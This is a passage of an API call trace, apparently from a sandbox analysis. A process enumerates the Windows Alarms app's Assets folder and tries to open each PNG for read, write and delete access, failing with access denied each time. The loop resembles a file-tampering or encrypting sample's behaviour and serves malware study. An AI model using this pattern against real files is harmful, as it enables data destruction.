	[0090.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d5b2a8
	[0090.906] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.906] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.906] wcscat (in: _Dest=0x2d5b2a8, _Source="AlarmsAppList.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-200.png"
	[0090.906] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_scale-200.png")) returned 0x20
	[0090.909] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.909] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.909] GetLastError () returned 0x5
	[0090.909] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.909] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a984bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47a984bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47a984bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.909] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-16.png", _String2=".") returned 1
	[0090.909] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-16.png", _String2="..") returned 1
	[0090.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.910] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.910] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.910] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16.png"
	[0090.910] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-16.png")) returned 0x20
	[0090.912] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.912] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.912] GetLastError () returned 0x5
	[0090.912] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.912] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47abe718, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47abe718, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47abe718, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.912] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png", _String2=".") returned 1
	[0090.912] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png", _String2="..") returned 1
	[0090.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d884f0
	[0090.912] wcscpy (in: _Dest=0x2d884f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.912] wcscat (in: _Dest=0x2d884f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.912] wcscat (in: _Dest=0x2d884f0, _Source="AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png"
	[0090.912] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-16_altform-unplated.png")) returned 0x20
	[0090.914] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.915] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.915] GetLastError () returned 0x5
	[0090.915] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0090.915] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47abe718, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47abe718, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47abe718, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-20.png", cAlternateFileName="")) returned 1
	[0090.915] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-20.png", _String2=".") returned 1
	[0090.915] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-20.png", _String2="..") returned 1
	[0090.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.915] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.915] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.915] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20.png"
	[0090.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-20.png")) returned 0x20
	[0090.917] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.917] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.917] GetLastError () returned 0x5
	[0090.917] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.917] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47abe718, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47abe718, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47abe718, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.917] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png", _String2=".") returned 1
	[0090.917] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png", _String2="..") returned 1
	[0090.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d884f0
	[0090.917] wcscpy (in: _Dest=0x2d884f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.918] wcscat (in: _Dest=0x2d884f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.918] wcscat (in: _Dest=0x2d884f0, _Source="AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png"
	[0090.918] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-20_altform-unplated.png")) returned 0x20
	[0090.918] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.918] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-20_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.918] GetLastError () returned 0x5
	[0090.918] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-20_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0090.918] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ae4976, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47ae4976, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47ae4976, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.918] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-24.png", _String2=".") returned 1
	[0090.918] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-24.png", _String2="..") returned 1
	[0090.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771740
	[0090.918] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.918] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.918] wcscat (in: _Dest=0x4771740, _Source="AlarmsAppList.contrast-black_targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24.png"
	[0090.918] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-24.png")) returned 0x20
	[0090.920] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.920] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.920] GetLastError () returned 0x5
	[0090.920] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.920] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ae4976, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47ae4976, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47ae4976, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.920] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png", _String2=".") returned 1
	[0090.920] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png", _String2="..") returned 1
	[0090.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d884d0
	[0090.921] wcscpy (in: _Dest=0x2d884d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.921] wcscat (in: _Dest=0x2d884d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.921] wcscat (in: _Dest=0x2d884d0, _Source="AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png"
	[0090.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-24_altform-unplated.png")) returned 0x20
	[0090.921] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.921] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmsapplist.contrast-black_targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.921] GetLastError () returned 0x5
	[0090.921] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.921] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884d0) returned 1
	[0090.921] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ae4976, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47b0abca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47b0abca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_targetsize-256.png", cAlternateFileName="")) returned 1
	[0090.921] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-256.png", _String2=".") returned 1
	[0090.921] wcscmp (_String1="AlarmsAppList.contrast-black_targetsize-256.png", _String2="..") returned 1
	[0090.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d5b2a8
	[0090.922] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.922] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.922] wcscat (in: _Dest=0x2d5b2a8, _Source="AlarmsAppList.contrast-black_targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmsAppList.contrast-black_targetsize-256.png"
